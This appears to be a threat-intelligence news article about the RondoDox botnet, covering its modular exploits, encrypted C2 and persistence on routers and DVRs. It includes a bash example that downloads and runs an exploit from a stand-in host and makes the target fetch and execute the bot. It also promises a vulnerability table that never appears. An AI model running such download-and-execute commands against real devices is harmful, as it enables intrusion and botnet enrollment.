RondoDox Botnet Targets Over 50 Vulnerabilities to Compromise Routers, CCTV Systems, and Web Servers

The Rise of RondoDox: A Dangerous IoT Botnet

Since its emergence in early 2025, RondoDox has swiftly established itself as one of the most notoriously pervasive botnets specifically targeting Internet of Things (IoT) devices. With a wide-ranging focus that includes everything from consumer routers to enterprise-grade CCTV systems and web servers, RondoDox exemplifies the growing vulnerabilities within our increasingly connected world.

Modular Design for Maximum Impact

What sets RondoDox apart from other botnets is its modular architecture, allowing operators to deploy customized exploit modules against over 50 distinct vulnerabilities. This flexibility enables the swift compromise of various platforms, allowing attackers to adjust their strategies depending on the target’s specifications.

In many campaigns, adversaries have incorporated automated scanning techniques designed to uncover exposed devices. Following detection, the attacks often involve rapid exploitation, culminating in the enrollment of the affected systems into a command-and-control (C2) infrastructure.

The Discovery of RondoDox

Trend Micro researchers first identified RondoDox in April 2025 as they monitored anomalous traffic patterns emanating from compromised DVR appliances located across multiple regions. The ensuing analysis unveiled a core engine written in Go programming language, which facilitated cross-platform deployment while maintaining a remarkably efficient binary size. This design choice allows RondoDox to infect devices with varying architectures seamlessly.

Stealthy Command-and-Control Communications

One of the pivotal features of RondoDox is its use of encrypted communication protocols for its command-and-control channels. Even under strict network monitoring, the encrypted exchanges allow for stealthy interactions between infected devices and the C2 servers. Once a device is compromised, RondoDox deploys a lightweight persistence agent that is specifically designed to endure device reboots and firmware updates, ensuring continued connectivity with the botnet.

This persistence agent regularly polls the C2 servers for new payloads or commands and includes self-healing routines to reinstall any components if they have been removed. Consequently, many infected devices often find themselves unwitting participants in large-scale DDoS (Distributed Denial of Service) attacks or serve as covert proxies for other malign operations.

Infection Mechanism: A Step-by-Step Breakdown

RondoDox utilizes a multi-step infection process that typically initiates with a reconnaissance phase. During this phase, the malware’s scanning module probes potential targets for open management interfaces, focusing on ports like Telnet (23), SSH (22), and HTTP.

Once a device is identified, RondoDox selects the appropriate exploit payload from its extensive library. For instance, one known module leverages the CVE-2021-20090 vulnerability, executing a command that downloads and installs the RondoDox bot itself:

bash
wget http://malicious.example/exploit; chmod +x exploit
./exploit -u admin -p ” -c ‘wget http://cdn.example/rondox && chmod +x rondox && ./rondox’

After the initial compromise, the payload establishes an encrypted TLS channel back to the C2 servers using port 443, effectively masquerading its malicious traffic as legitimate HTTPS communications.

Security Challenges and Urgent Solutions

The infection flow of RondoDox highlights the deathly efficient transition from reconnaissance, through exploitation, to persistence. To ensure ongoing operation, RondoDox employs device-specific persistence techniques, such as creating crontab entries on Linux-based devices or modifying firmware images on specific router models.

Given the flexibility of RondoDox and its expansive exploit library, it underscores the urgent need for organizations and individuals to prioritize patch management and implement network segmentation. Both strategies are vital for mitigating the risks posed by evolving, IoT-focused threats like RondoDox.

Detailed Overview of Exploitable Vulnerabilities

A wide array of vulnerabilities are currently exploited by RondoDox. Here’s a detailed table listing some of these vulnerabilities, along with their relevant metadata:

This table underscores the broad range of products affected, including well-known brands and less common devices. The distribution of vulnerabilities spans multiple categories, including command injection, path traversal, and authentication bypass flaws.

This detailed landscape illustrates not just the broad impact of RondoDox, but also serves as a stark reminder of the importance of keeping devices updated and properly secured in today’s interconnected world.